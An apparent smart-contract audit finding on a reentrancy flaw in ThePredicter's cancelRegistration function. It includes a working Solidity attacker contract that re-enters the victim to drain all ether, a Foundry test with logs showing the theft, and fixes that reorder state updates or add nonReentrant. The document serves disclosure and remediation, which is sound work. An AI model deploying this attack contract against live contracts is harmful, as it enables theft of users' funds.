Summary
cancelRegistrationfunction in ThePredictor contract is prone to reentrancy, that can be exploited by the attacker to drain all available ether from the contract.
Vulnerability Details
Relevant code link - https://github.com/Cyfrin/2024-07-the-predicter/blob/main/src/ThePredicter.sol#L62C14-L62C32
function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
@> (bool success, ) = msg.sender.call{value: entranceFee}("");
@> require(success, "Failed to withdraw");
@> playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
If you check the highlight code, it does not follows checks, effects and interaction pattern which makes it vulnerable to reentrancy attack. Ether is being sent to user before updating his status.
Due to this flaw, attacker can drain other users funds who registered before him and they won't be able to cancelRegistration even they wanted to.
POC
In src we create Attacker.sol as given below -
pragma solidity 0.8.20;
interface IThePredictor{
function register() external payable ;
function cancelRegistration() external ;
}
contract Attack is IThePredictor {
address owner;
IThePredictor predictor;
error onlyOwner();
error ETHTransferFailed();
constructor (address _predictor){
owner = msg.sender;
predictor = IThePredictor(_predictor);
}
function register () public payable {
predictor.register{value: msg.value}();
}
function cancelRegistration () public {
predictor.cancelRegistration();
}
receive() external payable {
if(address(predictor).balance >= 0.04 ether){
predictor.cancelRegistration();
}
}
function claimEth() external {
if(msg.sender != owner){revert onlyOwner();}
(bool sent,) = owner.call{value: address(this).balance}("");
if(!sent){revert ETHTransferFailed();}
}
}
then in the existing test suite, we add some imports and following test --
/// other imports as is
+ import {Attack} from "../src/Attacker.sol";
.
.
.
contract ThePredicterTest is Test {
.
+ Attack public attacker;
function setUp() public {
vm.startPrank(organizer);
scoreBoard = new ScoreBoard();
thePredicter = new ThePredicter(
address(scoreBoard),
0.04 ether,
0.0001 ether
);
scoreBoard.setThePredicter(address(thePredicter));
+ attacker = new Attack(address(thePredicter));
vm.stopPrank();
}
+function testCancelRegistrationIsProneToReentrancy() public {
+ //// user 1 registrer
+ vm.startPrank(stranger);
+ vm.warp(1);
+ vm.deal(stranger, 1 ether);
+ thePredicter.register{value: 0.04 ether}();
+ vm.stopPrank();
+
+ /// user 2 register
+ vm.startPrank(address(0x123));
+ vm.deal(address(0x123), 1 ether);
+ vm.warp(2);
+ thePredicter.register{value: 0.04 ether}();
+ vm.stopPrank();
+
+ /// user 3 register
+ vm.startPrank(address(attacker));
+ vm.warp(3);
+ vm.deal(address(attacker), 0.04 ether);
+ attacker.register{value: 0.04 ether}();
+ console.log("/----------------------------------------/");
+ console.log("/------------Before Attack---------------/");
+ console.log("/----------------------------------------/");
+ console.log("contract balance before attack:", address(thePredicter).balance);
+ console.log("attacker balance before attack:", address(attacker).balance);
+ /// attacker cancel register and drain all available eth
+ attacker.cancelRegistration();
+ console.log("/----------------------------------------/");
+ console.log("/------------After Attack---------------/");
+ console.log("/----------------------------------------/");
+ console.log("contract balance after attack:", address(thePredicter).balance);
+ console.log("attacker balance after attack:", address(attacker).balance);
+ vm.stopPrank();
+ }
/// other test as is
}
Then run forge test --mt testCancelRegistrationIsProneToReentrancy -vv in the terminal and it will show following results.
[⠊] Compiling...
[⠑] Compiling 1 files with Solc 0.8.20
[⠘] Solc 0.8.20 finished in 1.67s
Compiler run successful:
Ran 1 test for test/ThePredicter.test.sol:ThePredicterTest
[PASS] testCancelRegistrationIsProneToReentrancy() (gas: 155190)
Logs:
/----------------------------------------/
/------------Before Attack---------------/
/----------------------------------------/
contract balance before attack: 120000000000000000
attacker balance before attack: 0
/----------------------------------------/
/------------Before Attack---------------/
/----------------------------------------/
contract balance after attack: 0
attacker balance after attack: 120000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.67ms (1.73ms CPU time)
Ran 1 test suite in 153.29ms (2.67ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Which confirms out finding that user funds are being drained.
Impact
Loss of innocent user funds
Tools Used
Manual Review , Foundry
Recommendations
Here are few recommendations -
use nonReentrant modifier
+ import {ReentrancyGaurad} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol"
- function cancelRegistration() public {
+ function cancelRegistration() public nonReentrant {
if (playersStatus[msg.sender] == Status.Pending) {
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
update the state before transferring the ether
I'm implementating the second approach for now.
function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
- (bool success, ) = msg.sender.call{value: entranceFee}("");
- require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
+ playersStatus[msg.sender] = Status.Canceled;
+ (bool success, ) = msg.sender.call{value: entranceFee}("");
+ require(success, "Failed to withdraw");
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
After applying this mediation, let's run the test again, which should fail now in order to confirm the fix.
run forge test --mt testCancelRegistrationIsProneToReentrancy -vv in the terminal and it shows the following results
[⠊] Compiling...
[⠑] Compiling 3 files with Solc 0.8.20
[⠘] Solc 0.8.20 finished in 1.70s
Compiler run successful!
Ran 1 test for test/ThePredicter.test.sol:ThePredicterTest
[FAIL. Reason: revert: Failed to withdraw] testCancelRegistrationIsProneToReentrancy() (gas: 134613)
Logs:
/----------------------------------------/
/------------Before Attack---------------/
/----------------------------------------/
contract balance before attack: 120000000000000000
attacker balance before attack: 0
Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 9.42ms (1.35ms CPU time)
Ran 1 test suite in 160.02ms (9.42ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
Failing tests:
Encountered 1 failing test in test/ThePredicter.test.sol:ThePredicterTest
[FAIL. Reason: revert: Failed to withdraw] testCancelRegistrationIsProneToReentrancy() (gas: 134613)
Encountered a total of 1 failing tests, 0 tests succeeded
which confirms our fix is working as intended.
